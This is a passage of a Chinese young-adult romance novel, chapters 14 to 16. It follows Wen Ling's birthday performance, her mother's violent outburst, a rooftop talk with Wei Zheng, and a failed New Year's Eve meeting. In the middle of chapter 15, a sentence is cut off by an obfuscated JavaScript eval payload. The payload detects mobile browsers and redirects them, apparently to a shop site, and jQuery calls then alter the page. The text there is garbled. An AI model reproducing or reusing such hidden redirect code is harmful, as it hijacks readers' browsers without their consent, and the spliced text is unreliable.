闻灵被逗笑了,笑着对他说:“你也太夸张了。” “你怎么会在这儿?你有节目?”她好奇问他。 “怎么可能,我会演啥节目……”蒋烨摆摆手说,“我陪蔚铮来的。” “蔚铮?” “啊……对。”蒋烨打了下自己的嘴巴,“那个,你能不能先装不知道?蔚铮他不让说。” 闻灵一脸了然,比出个OK的手势,然后凑到他面前压低嗓音问:“他要表演什么节目?你悄悄告诉我,我绝对不告诉别人。” “他……唱歌。”蒋烨吞吞吐吐。 “唱歌?唱什么歌?” “这个真不能说。”蒋烨皱着眉道,“这次是老洛鼓励他报名的,一开始他还是和以前一样,死活都不答应。后来不知道为什么,那天晚上和你从舞蹈教室一起回来以后,他忽然就答应了。” “后来我才听说,原来今天是你生日。”蒋烨说着,连忙捂住了嘴,“完了,我好像说太多了……” “那个,生日快乐!你一定要装作什么都不知道啊女神!我先走了!”蒋烨把话说完转身就跑,边跑边高声嘱咐她。 14. 生日 蔚铮,能够在实验中学再次遇见你,我是真的真的很开心。 * 礼堂内人头攒动,座无虚席,观看表演的学生们坐在后排,其余参加表演的学生坐在前几排。闻灵在第一排靠近过道的位置上找了个空位,四周很暗,没有灯光,却刚好能视野清晰地看到舞台上的人。 伴随着悠扬悦耳的背景音乐声,主持人举起话筒开始报幕。闻灵从背包里拿出手机,拍了几张照片,听见主持人已经声情并茂地介绍起了第一个节目。 “不知道在座的各位同学有没有和自己的父母或朋友一起去看过海。” “无论你是否看过海,我相信,接下来的这个节目都会让你身临其境,近距离感受到海的气息。” “第一个节目,歌曲《珊瑚海》。演唱者:高一(十六)班,蔚铮。” 她心跳倏地一漏,手上的动作僵住,蓦然想起了自己在舞蹈教室里和他的对话。 “我想听《珊瑚海》,可以吗?” “这首不可以。” “为什么?” “没有为什么,我不想唱。” 那晚他明明拒绝了她,说什么都不肯唱这首歌。 可现在他却突然出现在了舞台上,主动抱着吉他弹唱《珊瑚海》。 是特意为她而唱的吗?是因为他知道今天是她的生日,所以把这首歌作为生日礼物送给她吗? 闻灵不知道自己的猜测是否是在自作多情。 台上灯光渐暗,熟悉的伴奏音乐响起,舞台正中间的高脚凳上,少年怀抱着吉他缓缓落座。宽阔安静的舞台上,粉蓝两种色彩的光线交织,大屏幕的背景图忽然变成了一片澄澈的海洋,地面是屏幕的投影,深浅不一的灯光仿佛层层叠叠的海水,在他的脚下溅开一朵朵雪白的浪花。 她从来没有真正看到过海。 除了在图片和视频上,这是她第一次这么近距离地感受到海的气息。 而蔚铮,此刻正坐在海的中央,弹唱着她最喜欢的《珊瑚海》。 猛烈的心跳声伴随着律动的鼓点咚咚作响,仿佛马上就要撞破她的胸膛。伴随着少年身影的出现,四周响起了热烈的欢呼声和口哨声。十六班由蒋烨带头,一群男生女生直接从座位上站了起来,一边拼命地挥舞着手中的荧光棒,一边高声齐呼蔚铮的名字。 闻灵扭过头,目睹着台下的骚动持续蔓延,逐渐变得一发不可收拾。在场的女生们纷纷交头接耳,满脸兴奋地讨论起了舞台上的蔚铮。或许是因为大家都是第一次看到他这样夺目耀眼的一面,所以才会情不自禁地流露出这么惊讶激动的神情。 “谁给他弄的妆造?我靠这也太帅了吧!硬帅啊!” “你快看!他居然还贴了眉钉?不行不行……我真受不了了!” 身后两个女生的说话声传来,闻灵沉默地听着,脸颊忽然一阵一阵发烫,心脏也无法抑制地陷入了狂跳。她没办法否认,她发自内心地认同她们所说的话,因为她也产生了同样的感觉。 曾经她并不能理解班上的女生们在形容自己喜欢的男明星时所说那种“一眼惊艳”的感觉,可能是因为她不追星,也很少关注娱乐圈的消息,她自认为自己不是一个只对着某张脸就能轻而易举地“犯花痴”的人,直到此刻她看到蔚铮。 她终于发现,原来她也是可以被一个人的长相所深深吸引的。 从来都不觉得自己肤浅的她,在察觉到自己的心跳彻底失控的这一刻,终于再也无法否认,原来她也可以这么肤浅,肤浅到仅仅喜欢上一个人的长相。 她承认蔚铮的长相完全击中了她的心脏。 不知道怔怔地看了他多久,闻灵才后知后觉地把手伸进背包里,找出自己特意带来的拍立得,将相机镜头对准了舞台上闪闪发光的少年。 他是第一个为她唱《珊瑚海》的人。 他也是第一个可以把《珊瑚海》唱得这么好听的人。 她的眼眶忽然涌上泪意,胸口也闷闷的,好像湿漉漉的心脏已经淋了太久的雨,此刻却被温柔的歌声缓缓擦拭着,一点点被烘干焐热。 明明周围有那么多人,她的眼睛里却只能看到他一个人。 一曲唱毕,在经久不息的掌声中,闻灵拿着自己拍好的照片悄悄跑进休息室,想给他一个惊喜。 “猜猜我是谁!” 蔚铮推门走进来,拉开休息室的椅子刚要坐下,藏在房间角落里的闻灵突然笑盈盈地跑出来,站在他身后捂住了他的眼睛。 少年眼睫轻颤,没说话,弯起唇角笑了。 “猜出来有奖励吗?”他含着笑意问她。 “有!”她说。 “什么奖励?” “给你变个魔术。” “真的假的?”蔚铮笑着拉开她的手,把她拽到自己面前,在和她对视的一瞬间,目光一顿,喉结滚了滚,微微不自然地避开了视线。 “真的!不骗你!”闻灵着急给他惊喜,没注意到他反常的反应,把双手在他面前摊开,说,“你看,现在我手里什么都没有。” “嗯。”他抱起双臂十分配合地点头。 “好,那你现在把眼睛闭上。” 他乖乖闭眼。 她把藏起来的照片从身后拿出来,将它放在掌心里,紧接着说:“好了,现在可以睁眼了!” 他睁开眼,看到了她手中的照片。 “你看!是不是特别好看?” 蔚铮笑了,从她手里接过照片,垂着眼认真看了一会儿,抬起头轻声道:“好看,但没你好看。” “你今天真的很好看。”他专注而诚恳地看着她说。 闻灵雀跃期盼的目光落进他温柔似水的眼神里,忽然有一瞬的错愕,脸颊迅速涨红,耳后一阵发烫。 “你要回去了吗?”她小声问他,“我的节目在最后一个,还要等好久。” “不回去。”他说,“我去观众席等你。” * 演出结束后,闻灵回到休息室,还没来得及把芭蕾舞裙换下来,就看见音乐老师带着一群参加完演出的同学们来为她庆生。她没在人群中看到蔚铮的身影,在切蛋糕时特意给他留了一块。 等到庆生结束,同学们都换好衣服准备离开,蔚铮才匆匆赶来。 “你怎么才过来?” “有点事。”他说。 “给你留的。”她再没多问,把放在梳妆台上的蛋糕递给他。 他正要吃,音乐老师突然走过来问:“你们俩怎么还没走?” “等他吃完蛋糕就走。”闻灵说。 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闻灵检查了一遍他的脸和手,发现都没带伤,心中松了口气,没再继续追问,开玩笑般转移话题:“我还以为你去给我准备生日礼物了。” “礼物我不是送你了吗?”他抬起头说道。 “你说《珊瑚海》吗?”她眨巴着眼睛凑近他,笑眯眯地看着他问,“这是你送我的生日礼物吗?” “我可没说。”他立刻埋下头吞了一大口蛋糕。 “你说了!你刚刚亲口承认的!”她大声反驳,“你不是说你不唱这首歌吗?今天怎么愿意唱了?” “是特意唱给我听的吗?”她的声音忽然低下来,很轻地开口问他。 “这首歌我只唱给你听。” “你说什么?”他的声音比她的还要低,闻灵听到了,却不太确定自己听到的准不准。 他笑而不语,把吃干净的蛋糕托盘扔进扶手旁边的垃圾桶里,突然说:“闭眼,我也给你变个魔术。” “什么?”她怔怔询问,下意识闭上了眼睛。 颈侧突然一暖,一条厚厚的围巾裹在了她的脖子上。他给她戴上毛绒手套的时候,她没忍住睁开了眼睛。 围巾和手套都是纯白色的,做工精致,质感也特别好。她下意识看了眼围巾上的标签名牌,是个很贵的牌子,她只戴过一次这个牌子的围巾,还是奶奶执意要买给她的。 “你干吗买这么贵的东西……”她说着就要把围巾摘下来,被他伸手制止。 “别摘,外面冷。”他说。 “闻灵。” “嗯?”她从围巾里抬头。 “生日快乐。” “谢谢。”她脸颊红了,轻轻低下头,把下巴埋进围巾里,缓缓弯起唇角说,“这是我过得最开心的一次生日。” “为什么?”他好奇地问。 因为上台跳了舞,因为听到了《珊瑚海》,因为吃到了生日蛋糕、收到了生日礼物。 这些都让我觉得很开心。 但真正让我觉得开心的,是你。 蔚铮,能够在实验中学再次遇见你,我是真的真的很开心。 15. 天台 他和她同样孤单,同样渺小,却愿意伸手拉住她。所以她永远都不会坠落。 * “奶奶!我回来啦!” 晚上回到家时,闻灵拎着蛋糕走进门,正想喊奶奶吃蛋糕,突然看到一个陌生又熟悉的身影出现在客厅里。 妈妈正坐在沙发上举着手机看视频,她走近去看,发现妈妈看的是家长群里她今晚的舞蹈表演回放。 “妈,你……” 你要不要吃蛋糕。 她话到嘴边,还没来得及说出口,就看见妈妈“啪”地把手机朝她扔了过来。手机重重砸在她的双脚上,她的脚趾被砸出了血,猛烈的痛意瞬间模糊了她的眼睛,她却没有开口喊疼。 “谁允许你跳舞的?”妈妈红着眼睛怒吼道。 允许。 原来她跳舞需要被“允许”。 她垂下头,轻轻扯动唇角笑了,心脏像被一根细线狠狠拉扯着,越扯越紧,扯出了一阵钻心的疼痛。 “我问你话呢!你听不见是不是!我问是谁允许你跳舞的!”妈妈气急败坏地朝她走过来,扯掉她的校服外套,拽着她的胳膊去脱她的芭蕾舞裙,几乎要上手把整条裙子从她身上扒下来。 她难以置信地看着妈妈,挣扎着不肯脱,泪水不知不觉地顺着脸颊一滴滴淌落。 “你有什么资格跳舞?” “这些年里因为你,你哥遭了多少罪?我又是怎么熬过来的?你心里有过一点数吗?” “你当然什么都不用管,照样每天想干什么就干什么,从小就自私又任性!你每天随心所欲的时候,想过这些年来你哥过的是什么日子,我过的是什么日子吗?” “每天有事没事儿就知道给他打电话、打视频,念叨你在学校的那点破事儿……” “我说没说过让你凡事靠自己,别总去打扰别人?” “你是不是觉得你哥欠你的?” “你是不是觉得我们全家都欠你的!” “我没有。”她咬着牙说道,视线渐渐模糊,眼泪不受控制地刷刷滚落。 “你再说一遍!”妈妈指着她的鼻子说。 “我说我没有!”她抬起头不服气地大吼。 妈妈急了,继续伸手去扯她的领子,她不再反抗,像是彻底失去了力气和知觉,任由妈妈随意摆布她的身体,把她的肩膀和手臂都拉拽得生疼。就在此时,奶奶回来了,看见妈妈的举动,连忙一把将她护在了身后。 “你干什么!”奶奶怒声喊道。 “你别管!”妈妈说。 奶奶气得全身发抖:“你看看你对孩子都做了什么?她是你亲生的!不是你捡来的!” “她是我生的,可我有的选吗?是谁一直在逼我?又是谁的好儿子每天从早到晚都不回家,把儿子和女儿全都丢给我一个人管?!” “早知道当初让你生闻灵会把你变成这样,我根本不可能会让你生!”奶奶喘着粗气说,“闻灵不用你们养,我自己养!” “灵灵!你干什么去!” 她死死咬住嘴唇,眼眶中盈满了眼泪,转身推门就跑,不知道自己究竟要去哪里,只是忽然很想逃离。 冬日寒夜的冷风裹夹着细雪扑面而来,凉入脊骨,她踩着拖鞋沿着街道大步狂奔,直到脚趾被冻得发紫,浑身都麻木僵硬,终于跑到河边坐了下来。 每次她心情不好的时候,都喜欢自己一个人来这里散心吹风。 Y市没有海,却有这样一条河。实在想看海的时候,她会独自坐在这里告诉自己,眼前的河面就是海平面,而遥远的对岸,一定会有不再那么孤独空荡的未来。 她的人生是孤独而空荡的,仿佛从出生的那一刻起便从悬崖边跌落了下去,没有被摔得粉身碎骨,遍体鳞伤,她完好无损地待在崖底,吃得饱穿得暖,只是这里一个人都没有,空旷寂静得可怕。 从小到大,她一直都不曾得到过任何真正意义上的理解和陪伴,多少难以言说的委屈和心酸,憋在她的胸腔里横冲直撞,最后只能倾吐给这条窄窄的小河。 鼻腔猛地一阵发酸,她心里忽然特别难受,脑海中不受控制地浮现出了两句看上去很矛盾的话。 所有人都爱闻灵。 没有人爱闻灵。 * 她今晚不想回家,更不想让自己被家人找到。她很少会产生这种感觉,她不只是不想见妈妈,她也不想见奶奶,不想见闻清。 她忽然很想见另一个人。 但时间已经这么晚了,她大概没有办法再见到他,可她还是好想他,想听一听他的声音,想让他陪自己说一说话。 她拿出只剩一格电的手机,拨通了蔚铮的电话。 “这么晚还不睡?怎么了?”电话接通的这一刻,他的声音很快响了起来,带着含混沙哑的睡意,很轻。 她微微仰起头,唇角抿着笑,滚烫的眼泪却不受控制地倾泻而出,喉咙哽住,忽然说不出话。 她捂住脸剧烈地抽噎起来,却极力克制着嗓音里的呜咽,不希望被他听到。 “出什么事了?你在哪儿?”对面的人立刻紧张起来,急声问道。 她用力擦干了眼泪,微笑着对他说:“没事,我在家。你早点睡吧,晚安。” 她不知道自己为什么会本能地撒谎骗他,明明自己现在无家可归,明明心中那么渴望他能马上出现在自己面前,然而话到嘴边脱口而出时,却还是变成了掩饰和欺骗。 可她一边撒着谎,一边又暗暗期盼着他能戳穿自己的谎言,听见自己真正的心声。 这么脆弱又矛盾的心理状态,居然只会在她面对他的时候出现。 连她自己都不知道为什么会这样。 耳畔传来街边小商贩的叫卖声和马路上汽车的鸣笛声,嘈杂吵嚷,远远地隔着手机听筒,不知道他听不听得见。 “我现在过去找你,好不好?”他轻声问。 她的眼泪唰地流了下来。 “我在河边。”她抽抽搭搭地说。 “好,别挂电话!我马上到,很快!” 听筒对面传来了他迅速穿上羽绒服和翻找车钥匙的声音,窸窸窣窣的,听不太真切,却让此刻的她忽然不再感到绝望和孤单。 * “谁干的?”看见她狼狈不堪的模样,他本就不好的脸色瞬间变得更差了。 她摇头,本来已经风干流尽的眼泪,在仰头看到他的这一瞬间,再一次不争气地涌了出来。 他没说话,把羽绒服外套脱下来披在她身上,蹲在她面前用手指替她擦眼泪。 瞥见她出血的脚趾,他连忙站起身,跑进马路对面还亮着灯的药店,买了医用酒精和创可贴回来。 他半蹲在地上,用酒精棉球小心翼翼地将血渍擦拭干净,又给她的伤口包上了创可贴。 “蔚铮。”她披着他的黑色羽绒服外套,看着他哑声开口,“你带我出去玩儿吧。” “想去哪儿玩?”他问。 “去哪儿都行。”她笑笑说。 “敢坐吗?”他伸手指向了自己停在河边的摩托车。 “当然。”她破涕为笑,自信满满地对他说,“我想坐这个很久了。” 蔚铮笑了,拿起一个白色头盔递给她,上面印着铃兰花的图案。 “好漂亮,你什么时候买的?”闻灵摸了摸上面的铃兰花,惊讶又兴奋地问他,“是特意买给我的吗?” “嗯,挺早之前就买了。” “你怎么知道我喜欢铃兰花?” “很难不知道好吗?”他掰着手指给她列举,“铃兰花发绳,铃兰花笔袋,铃兰花书包,铃兰花香水……” “你们女生喜欢什么东西都这么明显的吗?” “那怎么了?我又不像你,每天神神秘秘的,什么都不让我知道。”她吸着鼻子小声抱怨,“我连你喜欢什么都不知道。” 他忽然不说话了,修长笔直的身影隐匿在夜色里,靠在摩托车上静静地盯着她看。 “我喜欢什么,你不知道?” “你喜欢什么?”闻灵眨着眼睛问他。 “喜欢骑车!走了!”他一顿,笑着敲了下她的头盔,转身跨上了摩托车。 * 这是闻灵第一次坐摩托车。 车速很快,夜里风大,刺骨的寒风刮在她的脸上,如同锋利的刀片切割着皮肤,可她却感觉不到疼,反而心里觉得特别痛快。 像是压抑了太久的情绪终于得到了前所未有的发泄和释放,心脏在她的胸腔里以一种完全无法控制的速度疯狂而剧烈地跳动着,惊险刺激到了极点,却并不会让她失去安全感。不知道为什么,哪怕她的心脏跳动得再疯狂,只要她的双手还紧紧环抱在他的腰上,她就不会感觉到丝毫害怕。海藻般的乌黑长发在白色头盔下随风飞舞,她把脸颊缓缓贴在他的背上,终于卸去了一身的委屈和疲惫,闭上了眼睛,让蒙在灵魂上的尘土彻底被风吹散。 迷迷糊糊中,她做了一个梦。 在梦里,她遇到了一个人。那个人步履匆匆地跋山涉水而来,终于在空旷寂静的崖底找到了她。 那个人对她说,他会永远陪在她身边,一刻都不会离开。 等她睁开眼时,摩托车已经在一栋大楼前停下,他带她顺着楼梯爬上了顶楼的天台。 天台很漂亮,也很暖和,有一个自助水吧和几把椅子,可以自己投币拿饮料喝。 蔚铮取出一瓶白桃味汽水递给她,自己也拿了瓶一模一样的。 “你是怎么发现这个地方的?”她坐在椅子上,一边仰着头看星星,一边好奇地问他。 “小时候被我爸打,不愿意回家,不想去网吧的时候,就一个人到处瞎逛,然后就发现这里了。”他的语气里满是无所谓。 “你爸现在还打你吗?”她偏过头,注视着他问。 他摇头:“他岁数大了,打不过我了,不打了。” “那你妈呢?她知道你爸打你吗?” “可能知道,也可能不知道。”他轻扯唇角,满不在乎地说,“不重要了。反正这么多年来,她只想跟她的新丈夫和新儿子过好自己的生活。至于我怎么样,她早就不关心了。” “我爸妈也不怎么关心我。”她低声呢喃,脑海中再次浮现出闻清抽屉里的那张合照,想起他们望向哥哥时眼中的笑,以及他们面对自己时表现出的冷淡敷衍和不耐烦,眼眶又开始不受控制地发酸。 托尔斯泰说,幸福的家庭都是相似的,不幸的家庭各有各的不幸。 虽然她觉得自己相比于蔚铮来说是幸运的,可这样的比较实在太过于残忍和血淋淋,或许在他眼中,她所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648292|206818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的悲伤和难过都矫情至极,像一个从小娇生惯养的大小姐突然发作了公主病。 她不想再继续这个话题,更不愿意再去戳痛他的伤疤,却忽然听见他开口问道:“今天发生什么事了?” “为什么受伤?为什么半夜离家出走?为什么这么不开心?”他目光紧盯着她,一字一句地问。 她摇摇头,一边努力想要憋回眼泪,一边用手臂挡住了眼睛。然而眼泪还是不争气地从眼眶里流了下来,将她小臂上的皮肤浸润得湿透滚烫。 “我以后不想再跳舞了。”她喃喃说着,眼泪抑制不住地啪嗒啪嗒砸落下来,声音泛着哽咽,沙哑而破碎。 “为什么?”沉默许久过后,他哑声询问。 “我妈说我不配。”她吸了下鼻子,笑笑说,“她说我不配每天都这么开心,这么幸福。” “她还说,我所有的幸福和快乐都建立在她和我哥的痛苦之上。” “所以我不想再跳了。” “你有没有想过,如果你以后真的再也不跳舞了,闻清会怎么样?” “我猜,如果你真的这么做了,他肯定会比现在痛苦上一千倍一万倍。”蔚铮神色认真地看着她,笃定地说。 “更何况当年发生那件事根本就不是你的错,现在想继续跳舞也不是你的错。” “你什么都没有做错过,你也从来都不亏欠任何人的。你有资格得到开心和幸福,也有资格去做所有你自己喜欢和想做的事。没有人可以干涉你的决定,更没有人可以左右你的未来,你明白吗?” 她笑了,眉眼弯弯,眼尾却泛起了泪光。 “脚上的伤是你妈弄的?” 她点头。 “她每次回来都发疯吗?” 她被逗笑了,摇摇头说:“倒也没有。” “她发疯的时候你不能躲吗?躲不开不知道还手吗?” “闻灵,你平时的机灵劲儿都跑哪儿去了?你每天跟我动手的厉害劲儿都跑哪儿去了?” “我什么时候跟你动手了?” “随时。” “你怎么这么能冤枉人?”她被气笑了,用手肘去撞他的肩膀,觉得还不够,又伸手去狠狠捏他的脸。 他笑着没躲开,见她差点没坐稳,身体失衡险些跌下椅子,才一把抓住她的手臂,笑着说了句;“你别太过分了啊!一天到晚就知道欺负我,真当我不敢还手?” “我没不让你还手。” “你可以还手啊。” “你现在要还手吗?”她的脸上依旧盈满了笑意,肆无忌惮地凑到他面前挑衅他。 他心里气不过,想去捏她的脸,或者去揉她的头发,最终却还是忍住了。 他缓缓松开她,有些无奈地勾唇笑了笑,捞起一旁的汽水瓶继续喝了起来。 “你生气了?”她问。 “没有,不敢。”他闷声道,“你是我老大,我是你小弟,小弟不敢惹老大。” 她闻言笑了,也拿起旁边的汽水瓶,咬着吸管喝了起来。 见他抬头望向星空,她也放下手里的汽水瓶,和他一起仰着头看星星。 漆黑幕布一样的夜空下,云雾消散,露出一弯清冷皎洁的月亮。一颗颗星星如同一粒粒碎钻镶嵌在幕布上,时隐时现,隐匿在浓重的黑暗里,散发出极其微弱的光芒,仿佛一不小心就会看不真切。 “以前我每次看星星的时候,都会思考一个问题。”她说着,像在自言自语,“这个世界就像夜空一样浩瀚无边,空空荡荡的,人却比随便一颗星星还要渺小,根本找不到自己的位置。” “那种感觉就像是你随时可能在这个世界里一脚踏空,跌落下去的时候突然发现,竟然没有办法向任何一个人求救,让他拉住你。” “所有人与人之间看似紧密的连结,哪怕是牢不可破的亲情,或许都无法变成那条能让你伸手抓住的绳子。” “我一直在试图寻找一条能拉住自己的绳子,仿佛只要找到了它,我就能拥有安全感,就能不再害怕孤单,可惜一直没能找到。” “你呢?你找到那条绳子了吗?” 他转头看向她,沉默了许久,哑声开口说:“没有。” “那你愿意让我做你的那条绳子吗?”闻灵眼睛突然亮了起来,语气激动地问他。 “你说什么?”他难以置信地问。 “我说,我们要不要试一试,把对方当作那条可以拉住自己的绳子?” “在觉得自己马上就要在这个世界里一脚踏空、跌落下去的时候,紧紧抓住对方,向对方求救,让对方拉住自己。” “你觉得我能拉住你?”他怔怔看着她问,嗓音又哑了一度。 “当然。”她认真而诚恳地点头,笑眯眯地对他说,“比如今晚,就是你拉住的我。” “好,那我答应你。”又一阵长久的沉默过后,他笑了笑说。 “一言为定。” 她缓缓弯起了唇角,带着笑意仰头望向茫茫无际的星空,忽然觉得自己就像夜空中一颗摇摇欲坠的星星,一不小心就会从云端掉落下去。幸运的是,她遇见了蔚铮。 于是夜空中拥有了另一颗和她同样孤单的的星星。 他和她同样孤单,同样渺小,却愿意伸手拉住她。 所以她永远都不会坠落。 16. 食言 如果我再欺骗你,那就罚我被你记恨一辈子,永远都不被你原谅。 * 第二天上午,班级里所有同学都在兴致勃勃地讨论晚上准备去哪里跨年。 闻清元旦假期要去国外复查,课间的时候,闻灵去高二(十六)班找他,想问他什么时候走,行李有没有收拾好。 她来到高二(十六)班门口,刚好看到一位学姐从教室里走出来,让她觉得格外眼熟。 她这才想起来,这位学姐名叫阮笛音,住在她家隔壁,是高二(十六)班的学委。小学的时候,阮学姐曾经担任过学校的大队长,每天绑着两个长长的麻花辫垂在胸前,长得很漂亮,气质也特别出众,所以给她留下的印象很深。在她的记忆里,阮学姐性格温婉,人也特别好,印象最深的一次,是某天傍晚她放学下楼,学姐在教室门口看到了她,特意挤进走廊里密集拥挤的人群喊她的名字,只是为了和她打一个招呼。 “学姐你好!”闻灵上前叫住她,主动打招呼说,“我叫闻灵,是闻清的妹妹,你还记得我吗?” 阮笛音笑了,朝她点头:“我记得。” “你来找你哥吗?我帮你去喊他。” “谢谢学姐!”她立刻道谢。 阮笛音刚转过身,就和一个高大的身影迎面撞上。她连忙后退几步,看清眼前的人是闻清,示意他有人找,说完就要回座位。 “阮笛音。”闻清回头叫住她。 “呃?” “茵姐不是喊你去她办公室吗?怎么叫个人把正事儿给忘了?”闻清失笑问道。 阮笛音瞪了他一眼,又向她挥挥手,匆忙跑去了老师办公室。 “闻清,你不对劲。”阮笛音走后,闻灵一脸笃定地看着他说,没忍住露出了坏笑。 闻清没理她,一本正经地说:“我这次跟妈回去,年前应该不回来了。” “哦,知道了。”她垂着头说,脚趾忽然隐隐作痛,下意识将目光瞥向洁白的鞋尖,仿佛依旧能透过鞋面看到脚趾上鲜红的血渍。 幸好闻清看不到,她想。 脑海中莫名闪过昨晚蔚铮问她的话,你妈发疯的时候你不能躲吗?躲不开不知道还手吗? 脚趾好像又没那么疼了。 “今天早上我找妈谈了。” “谈什么?” “我告诉她,如果她再反对你跳舞,我这双腿就不治了,也不要了。” “你疯了吗?拿自己乱开什么玩笑?”闻灵急道,“你怎么知道昨晚的事的?谁跟你说的?” “哪有那么多为什么?因为我是你哥!”上课铃响,他敲了下她的脑袋,催促她赶紧回班上课,转身走回了教室。 * 回到教室后,闻灵拿出手机,给蔚铮发了条消息。 “昨晚的事,是你告诉我哥的?” “你大晚上的一个人跟我跑出去,手机又没电,他给我打电话问我你在哪儿。我如果敢不如实交代,估计今天得被他打得连学校都来不了。” “你打不过他吗?”闻灵抿起嘴角,含着笑意回复他。 “跟打不打得过有关系吗?我可能和他打吗?” “我要是敢动他一下,你不得要了我的命?”他说。 闻灵被逗笑了,无知无觉间,眼眶竟然漫上了湿热。 “晚上放学要不要一起去跨年?”她眨了眨眼睛问他,消息刚发送出去,发现自己的心跳竟然有点快。 “行。”他回复道,“等放学我去找你。” * 一整个下午的时间里,她的心情都格外激动和忐忑。 以前每当教室里躁动不安的时候,她往往都是最沉得住气的那一个,今天下午却突然和往常不太一样。她一反常态地反反复复掏出手机解锁,目光不断飘向窗外,忍不住一次又一次地去看对面文科楼里高一(十六)班的窗户。 她好像从来没有像今天这样期待过放学。 大概不会有人知道,其实从小到大,每当跨年夜即将来临之际,看似头也不抬一直在座位上专心做题的她,其实才是最沉不住气的那一个。 小时候,她喜欢在放学铃响的那一刻马上收拾好书包飞奔出教室,让闻清和林惊野陪她去市中心广场看烟花。 闻清出国后,每一年的跨年夜,她都一个人待在家里,再也没有出过门。 她会礼貌地拒绝身边同学们的邀约,独自坐在房间里默默写作业,一边倾听着耳边传来的噼啪作响的烟花爆竹声,一边想象着窗外那个热闹而沸腾的、和她没有任何关系的世界。 她一次又一次地努力练习着,强迫自己去习惯和适应孤单。 然而太久没有出门跨过年的她,居然在今年的跨年夜来临之前想到了蔚铮,下意识想要和他一起出去跨年,下意识对他产生了期待和依赖。 或许是因为昨晚做出约定的时候,他答应得那么认真,让她相信他一定不会欺骗她,更不会把她一个人丢下。 * 终于熬到放学铃响,班级门口堵满了人,大家三两成群地结伴下楼,叽叽喳喳着商量着晚上要去哪里跨年。闻灵一直在教室里留到最后,却始终没有等到那个熟悉的身影出现。 她收拾好书包,准备去十六班找他,突然看到蒋烨急匆匆地跑来了一班门口。 “女神,蔚铮下午有事先走了。他说你没回他消息,让我过来和你说一声。”蒋烨对她说。 她点点头,没再说什么,垂着头缓缓走出了教室。 * 她手机没电了,所以一直没看见他发的消息。如果她看到了,就不用白白期待一整个下午了。 她背着书包走下楼梯,走出教学楼的时候,身后有两个十六班的女生恰好经过,不大不小的说话声无比刺耳地响在她身后。 “你知道蔚铮今天下午为什么逃课吗?我听说是因为苏樱回来了!” “苏樱?以前八中校花?” “没错!下午苏樱给他打电话了,说自己在KTV。他接完电话二话不说,拎起书包就走人了!” “我记得他俩不是闹掰了吗?难道和好了?” 闻灵下意识缓缓攥紧手里的书包带,眼睛发酸,心跳突然变得很乱。她的脸颊被寒风吹得干裂,手指也被冻得僵硬,脑海中却突然冒出了一个极为强烈的念头。 她要去找他。 她要去找他把一些很重要的事情问清楚。 她不知道他到底是怎么想的,为什么明明已经答应了会在她需要他的时候伸手拉住她,却又突然爽约放她鸽子,去和苏樱一起跨年。 他为什么要这么对她呢? 这样骗她和耍她很好玩儿吗? 他这样做,只会让她觉得她自己付出的真心和满腔的期待简直就是个笑话。 他和苏樱在一起过,甚至至今都和苏樱牵扯不清,为什么连一个字都没有告诉过她呢? 或许,他是觉得自己没有任何义务需要告诉她吧。 她越想心越乱,每当在雪地里迈出一步,心底便涌起一阵猛烈的剧痛。可她的脚步却越来越坚定,强忍着心脏深处传来的痛意,用最快的速度朝KTV的方向走了过去。 “美女,几位?”走进KTV大门时,吧台的服务生主动迎上来问她。 “不唱歌,我找人。”她面无表情地说。 “您要找的客人房间号是多少?我带您过去。” “我不知道。”她问服务生,“请问这里能充电吗?” “那边有充电的地方。”服务生抬起右手,指向了大厅角落的一处墙壁插座。 “谢谢。”她说完,拿出充电器,走过去给手机充上电,在旁边找了个没人的地方坐下。在开机画面出现的那一刻,她迅速拨通了蔚铮的电话。 无人接听。 她扯起唇角笑了笑,在仰头的一瞬间,一滴眼泪忽然落了下来,打湿了她的手机屏幕。 她用力抹了把眼睛,起身就要走,发誓自己绝对不会再来这个地方。 这里的音乐声太吵了。 吵得她头疼,心脏疼,浑身上下哪个地方都疼。 然而就在她起身的下一秒,突然有几道漆黑的人影挡在了她面前。她抬眼一看,发现领头的人是窦鹏。 “我没看错吧?居然能在这种地方碰见我们闻校花?”窦鹏俯身凑近她,语气嘲讽夸张,嬉皮笑脸地盯着她问,“自己来的?有人陪吗?用不用哥哥陪你……” 没等窦鹏把话说完,闻灵便抬腿狠狠踹了他一脚。他捂着膝盖惊叫,她拿起书包飞快地往外跑,却被身后的两个男生拦腰扯了回来,整个人扑倒在地,脚尖猛地撞上了椅子腿。 脚趾没愈合的伤口再次渗出了血,她疼得脸色煞白,浑身发颤,看到窦鹏在自己面前缓缓蹲下来,心脏一紧,咬紧牙关抖着手,从书包侧面拿出了保温杯。 恍惚间,她想起了蔚铮问过她的那句话。 “万一真有危险你打算怎么办?用你这个破保温杯打?” 她不知道自己能不能打得过,可她的确只有这个保温杯了。 如果拼尽全力往他头上砸呢? 她抬起手,正要砸下去的那一刻,扬起的手臂突然被 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“原来你昨晚说的话全是骗我的。”她苦笑了一下,嗓音不受控制地变得沙哑,喉咙里一阵疼痛难忍,没忍住咳了起来。 或许是天气冷又受了凉的原因,她咳得呼吸困难,嗓子疼得像火烧一样,整个人弓着背埋进椅子里,痛苦得缩成了一团。 见她又开始咳嗽,他匆忙起身,去窗口买了止咳药,又接了杯温水,一边轻轻拍着她的背,一边扶起她把药吃下去。 “是我的错。”他蹲在她面前,小心翼翼地向她道歉,“有什么气你直接往我身上我撒。” “别折腾自己了,行吗?” “你和苏樱是什么关系?”她含着泪冷下脸质问他,即便不知道自己的质问是出于什么资格、什么立场。 就像她知道他有他自己的朋友,有他自己的生活圈子,他在学校之外拥有着一个完全属于他自己的,她根本了解不到的世界。 可她却还是偏执地希望他能把她放在第一位。 连她自己都没有发现,她竟然会对一个人的占有欲这么强。 他一愣,半晌后有些无奈地笑了,放缓语气向她解释:“我和她没关系,谁又造我谣了?” 闻灵闷着头不吭声。 “所以你今晚跑来KTV,是因为听说我来找苏樱了?” “你不希望我来找她?”他盯着她的眼睛问。 